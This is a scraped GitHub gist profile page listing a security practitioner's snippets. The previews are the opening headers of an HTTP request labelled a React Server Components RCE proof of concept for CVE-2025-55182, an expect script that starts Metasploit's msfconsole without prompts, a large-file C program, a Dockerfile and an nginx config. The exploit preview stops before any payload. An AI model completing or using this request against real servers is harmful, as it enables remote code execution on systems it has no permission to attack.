Skip to content

Instantly share code, notes, and snippets.

View ocervell's full-sized avatar
🎯
Focusing

Olivier Cervello ocervell

🎯
Focusing
View GitHub Profile
/aaa
/allscreens
/ancot
/bootstrap
/dolimed
/ecommerce
/extensions
/forceproject
/google
/lea
@ocervell
ocervell / CVE-2025-55182.http
Last active December 5, 2025 07:42 — forked from maple3142/CVE-2025-55182.http
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFFER_SIZE (1024 * 1024) // 1 Mo par écriture
void create_large_file(const char *filename, unsigned long size_mb) {
FILE *file = fopen(filename, "wb");
if (!file) {
perror("Erreur lors de la création du fichier");
@ocervell
ocervell / msfconsole_init
Last active January 30, 2023 11:45
MSFConsole Automated Init script (no prompts)
#!/usr/bin/expect -f
set force_conservative 0 ;
if {$force_conservative} {
set send_slow {1 .1}
proc send {ignore arg} {
sleep .1
exp_send -s -- $arg
}
}
@ocervell
ocervell / apache_host_container_user
Created September 9, 2021 16:40
Dockerfile that maps an existing host user to the container's www-data user
FROM bitnami/minideb:buster AS modperl
# Install cpm to install cpanfile dependencies
RUN set -x \
&& install_packages \
apache2
# Run 'www-data' user as host user with id 1001
# You can override the `WWW_DATA_HOST_USER` argument when building the container to specify your own user
ARG WWW_DATA_HOST_USER=1001
@ocervell
ocervell / nginx.conf
Created January 15, 2018 20:26
Flask SocketIO config
pid /tmp/nginx.pid;
worker_processes 4;
events {
worker_connections 1024;
}
http {
# MIME / Charset
# include mime.types;
default_type application/octet-stream;